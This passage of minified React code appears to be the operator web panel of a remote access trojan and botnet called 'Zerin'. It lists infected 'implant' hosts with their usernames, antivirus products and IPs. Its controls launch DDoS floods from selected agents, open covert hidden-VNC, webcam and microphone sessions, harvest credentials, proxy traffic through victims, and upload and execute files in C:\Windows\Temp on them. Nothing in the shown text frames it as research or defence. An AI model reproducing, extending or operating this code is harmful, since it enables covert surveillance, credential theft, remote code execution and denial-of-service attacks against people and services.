tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),a.jsx("input",{type:"text",value:n,onChange:k=>r(k.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),a.jsx("div",{className:"flex gap-2",children:RU.map(k=>a.jsx("button",{onClick:()=>u(k),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors disabled:opacity-40 disabled:cursor-not-allowed ${c===k?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:k},k))})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:k=>s(Number(k.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),a.jsx("div",{className:"flex gap-1.5",children:$U.map(k=>a.jsx("button",{onClick:()=>s(k.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors disabled:opacity-40 disabled:cursor-not-allowed ${i===k.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:k.label},k.value))})]})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",a.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),a.jsx("input",{type:"range",min:1,max:64,value:o,onChange:k=>l(Number(k.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"1"}),a.jsx("span",{children:"16"}),a.jsx("span",{children:"32"}),a.jsx("span",{children:"48"}),a.jsx("span",{children:"64"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:x?a.jsxs("button",{onClick:z,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):a.jsxs("button",{onClick:N,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-red-500 hover:bg-red-600\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const I2={alive:0,stale:1,dead:2};function BU(e,t,n){let r=0;switch(n.column){case"status":r=(I2[e.status]??3)-(I2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=Lo(e.os).localeCompare(Lo(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const FU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function WU(){const e=xr(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(""),[l,c]=m.useState("all"),[u,d]=m.useState({column:"last_seen",direction:"desc"}),[f,p]=m.useState("online"),[h,x]=m.useState({x:0,y:0,visible:!1}),[g,y]=m.useState(null),[v,b]=m.useState(null),[w,j]=m.useState(null),[N,z]=m.useState(null),[k,S]=m.useState(null),[A,_]=m.useState("Zerin"),[O,P]=m.useState(""),[I,Y]=m.useState(new Set),[D,M]=m.useState(!1),[W,$]=m.useState(!1),[H,F]=m.useState(""),[K,Z]=m.useState(""),[oe,de]=m.useState(!1),[be,ye]=m.useState(null),G=m.useRef(null),te=m.useRef(null),C=m.useRef(null),q=m.useCallback(async()=>{try{const E=await N5();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);m.useEffect(()=>{q()},[q]);const{lastMessage:ne}=m.useContext(vd);m.useEffect(()=>{if(ne&&ne.type==="agent_update"){const E=ne.payload;n(ce=>{const J=ce.findIndex(xe=>xe.id===E.id);if(J>=0){const xe=[...ce];return xe[J]=E,xe}return[E,...ce]}),b(ce=>ce&&ce.id===E.id?E:ce)}},[ne]),m.useEffect(()=>{const E=setInterval(q,15e3);return()=>clearInterval(E)},[q]),m.useEffect(()=>()=>{G.current&&clearTimeout(G.current)},[]);const B={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},le=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),Ne=[...l==="all"?le:le.filter(E=>E.status===l)].sort((E,ce)=>BU(E,ce,u)),Ae=t.filter(E=>E.status==="alive"||E.status==="stale").length,R=t.filter(E=>E.status==="dead").length;function fe(E){d(ce=>({column:E,direction:ce.column===E&&ce.direction==="asc"?"desc":"asc"}))}function ve(E){c(ce=>ce===E&&E!=="all"?"all":E)}function V(E){if(G.current){clearTimeout(G.current),G.current=null,e(`/agents/${E.id}`);return}G.current=setTimeout(()=>{G.current=null,b(E)},250)}function ae(E,ce){E.preventDefault(),y(ce),x({x:E.clientX,y:E.clientY,visible:!0})}function U(E,ce){var X;if(!g)return;const J=g.id,xe=g.hostname,ke=ce==null?void 0:ce.action,ze=ce==null?void 0:ce.tab;if(x(re=>({...re,visible:!1})),y(null),ke==="chat"){j(g);return}if(ke==="confirm"){z({command:E,agentId:J,hostname:xe});return}if(ke==="msgbox"){S({agentId:J,hostname:xe}),_("Zerin"),P("");return}if(ke==="vnc"){Px(J).then(()=>{const re=st(),se=window.open(`/vnc/${J}`,`vnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(se&&re){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(se.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start VNC"));return}if(ke==="hvnc"){z5(J).then(()=>{const re=st(),se=window.open(`/vnc/${J}?mode=hvnc`,`hvnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(se&&re){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(se.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start hVNC"));return}if(ke==="webcam"){S5(J).then(()=>{const re=st(),se=window.open(`/webcam/${J}`,`webcam-${J}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(se&&re){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(se.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start webcam"));return}if(ke==="mic"){C5(J).then(()=>{const re=st(),se=window.open(`/mic/${J}`,`mic-${J}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(se&&re){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(se.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start microphone"));return}if(ke==="socks5"){P5(J).then(re=>{alert(`SOCKS5 proxy started on ${re.bind}:${re.port} Use: ssh -L ${re.port}:127.0.0.1:${re.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(ke==="execute_upload"){C.current=J,(X=te.current)==null||X.click();return}if(ke==="ban"){const re=t.find(T=>T.id===J),se=re==null?void 0:re.banned,Oe=se?`Unban agent ${xe} (${J.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${xe} (${J.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(se?ZE:XE)(J).then(()=>{n(T=>T.map(ie=>ie.id===J?{...ie,banned:!se}:ie))}).catch(()=>o(`Failed to ${se?"unban":"ban"} agent`));return}if(ke==="remove"){if(!confirm(`Remove agent ${xe} (${J.slice(0,8)})? This cannot be undone.`))return;k5(J).then(()=>{n(re=>re.filter(se=>se.id!==J))}).catch(()=>o("Failed to remove agent"));return}(ke==="submit"||ke==="screenshot")&&E!=="creds"&&Me(J,{command:E}).catch(re=>{o(`Failed to submit task: ${re instanceof Error?re.message:"unknown error"}`)}),ze&&e(`/agents/${J}?tab=${ze}${E==="creds"?"&auto=1":""}`)}function Q(){x(E=>({...E,visible:!1})),y(null)}async function he(E){var ze,X,re;const ce=(ze=E.target.files)==null?void 0:ze[0];if(E.target.value="",!ce||!C.current)return;const J=C.current;C.current=null;const xe=ce.name,ke=`C:\\Windows\\Temp\\${xe}`;try{const se=await ce.arrayBuffer(),Oe=Array.from(new Uint8Array(se)),{task_id:et}=await Me(J,{command:"upload",args:[ke],data:Oe});let T=!1;for(let ue=0;ue<30;ue++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(X=(await Xn(J)).results)==null?void 0:X.find(Lt=>Lt.task_id===et);if(Ct){if(Ct.error)throw new Error(Ct.error);T=!0;break}}if(!T)throw new Error("Upload timed out");const{task_id:ie}=await Me(J,{command:"execute",args:[ke]});for(let ue=0;ue<30;ue++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(re=(await Xn(J)).results)==null?void 0:re.find(Lt=>Lt.task_id===ie);if(Ct){if(Ct.error)throw new Error(Ct.error);alert(`Executed ${xe} on agent`);return}}alert(`File uploaded & execute command sent (${xe})`)}catch(se){o(`Execute file failed: ${se instanceof Error?se.message:"unknown error"}`)}}return a.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[a.jsx("input",{ref:te,type:"file",className:"hidden",onChange:he}),a.jsxs("div",{className:"mb-6",children:[a.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),a.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[a.jsx(rc,{label:"Total",value:B.total,active:l==="all",onClick:()=>ve("all")}),a.jsx(rc,{label:"Alive",value:B.alive,active:l==="alive",onClick:()=>ve("alive")}),a.jsx(rc,{label:"Stale",value:B.stale,active:l==="stale",onClick:()=>ve("stale")}),a.jsx(rc,{label:"Dead",value:B.dead,active:l==="dead",onClick:()=>ve("dead")})]}),a.jsx(IU,{agents:t}),a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[a.jsxs("button",{onClick:()=>{p("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:Ae})]}),f==="online"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),a.jsxs("button",{onClick:()=>{p("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:R})]}),f==="offline"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&R>0&&a.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${R} dead agent(s)? This cannot be undone.`))return;const E=t.filter(ce=>ce.status==="dead").map(ce=>ce.id);try{await GE(E),n(ce=>ce.filter(J=>J.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):s?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:a.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:s}),a.jsxs("button",{onClick:q,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):Ne.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:a.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?a.jsxs(a.Fragment,{children:[a.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):a.jsxs(a.Fragment,{children:[a.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&a.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[a.jsx("span",{className:"text-zerin-text font-medium",children:Ne.length})," ",f," agent",Ne.length!==1?"s":"",l!=="all"&&a.jsxs("span",{className:"ml-1",children:["· filtered by ",a.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm text-left",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-bg-alt",children:[a.jsx("th",{className:"px-3 py-3 w-[40px]",children:a.jsx("input",{type:"checkbox",checked:Ne.length>0&&Ne.filter(E=>E.status!=="dead").every(E=>I.has(E.id)),onChange:E=>{E.target.checked?Y(new Set(Ne.filter(ce=>ce.status!=="dead").map(ce=>ce.id))):Y(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),FU.map(E=>a.jsx("th",{onClick:()=>fe(E.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${E.className??""}`,children:a.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[E.label,a.jsx(UU,{column:E.key,sort:u})]})},E.key))]})}),a.jsx("tbody",{className:"bg-zerin-panel",children:Ne.map(E=>a.jsxs("tr",{onClick:()=>V(E),onContextMenu:ce=>ae(ce,E),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${E.status==="dead"?"opacity-50":""} ${E.banned?"opacity-60":""}`,children:[a.jsx("td",{className:"px-3 py-3",onClick:ce=>ce.stopPropagation(),children:E.status!=="dead"&&a.jsx("input",{type:"checkbox",checked:I.has(E.id),onChange:ce=>{Y(J=>{const xe=new Set(J);return ce.target.checked?xe.add(E.id):xe.delete(E.id),xe})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx(hd,{status:E.status,size:"sm",showLabel:!0}),E.banned&&a.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),a.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${E.banned?"line-through":""}`,children:E.hostname}),a.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[E.username,E.elevated&&a.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:Lo(E.os)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:E.arch}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:E.av_product||"Unknown",children:E.av_product||"Unknown"}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.internal_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.external_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.pid}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:Mo(E.last_seen),children:Jc(E.last_seen)})]},E.id))})]})})})]}),I.size>0&&a.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[a.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[I.size," agent",I.size!==1?"s":""," selected"]}),a.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),a.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r text-red-400 bg-red-500/10 border border-red-500/20\r hover:bg-red-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),a.jsxs("button",{onClick:()=>$(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r text-orange-400 bg-orange-500/10 border border-orange-500/20\r hover:bg-orange-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),a.jsx("button",{onClick:()=>Y(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),D&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),a.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx(aS,{agentIds:[...I]})]})}),W&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>$(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),a.jsx("button",{onClick:()=>$(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"p-6 space-y-4",children:[a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",I.size," agent",I.size!==1?"s":""]}),be&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${be.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:be.text}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),a.jsx("input",{type:"text",value:H,onChange:E=>F(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),a.jsx("input",{type:"text",value:K,onChange:E=>Z(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("button",{onClick:async()=>{if(H.trim()){de(!0),ye(null);try{const E=[H.trim()];K.trim()&&K.trim().split(/\s+/).forEach(ke=>E.push(ke));const J=(await Promise.allSettled([...I].map(ke=>Me(ke,{command:"execute",args:E})))).filter(ke=>ke.status==="fulfilled").length,xe=I.size;ye(J===xe?{text:`Sent to ${xe} agent${xe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${J}/${xe} agents (${xe-J} failed)`,type:J>0?"ok":"err"})}catch(E){ye({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{de(!1)}}},disabled:oe||!H.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[oe?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",I.size>1?` (${I.size})`:""]})]})]})}),a.jsx(vA,{x:h.x,y:h.y,visible:h.visible,onAction:U,onClose:Q,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),a.jsx(M5,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),a.jsx(yA,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&a.jsx(VU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const ce=v.tags??[];n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:E}:xe)),b(J=>J&&{...J,tags:E});try{await JE(v.id,E)}catch{n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:ce}:xe)),b(J=>J&&{...J,tags:ce}),o("Failed to update tags")}}})}),N&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>z(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[N.command==="restart"?"Restart":"Shutdown"," PC"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",N.command," ",a.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname}),"?",N.command==="shutdown"&&" The agent will go offline."]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>z(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{Me(N.agentId,{command:N.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),z(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${N.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:N.command==="restart"?"Restart":"Shutdown"})]})]})}),k&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",a.jsx("span",{className:"text-zerin-text font-medium",children:k.hostname})]}),a.jsxs("div",{className:"space-y-3 mb-6",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),a.jsx("input",{type:"text",value:A,onChange:E=>_(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r text-sm text-zerin-text 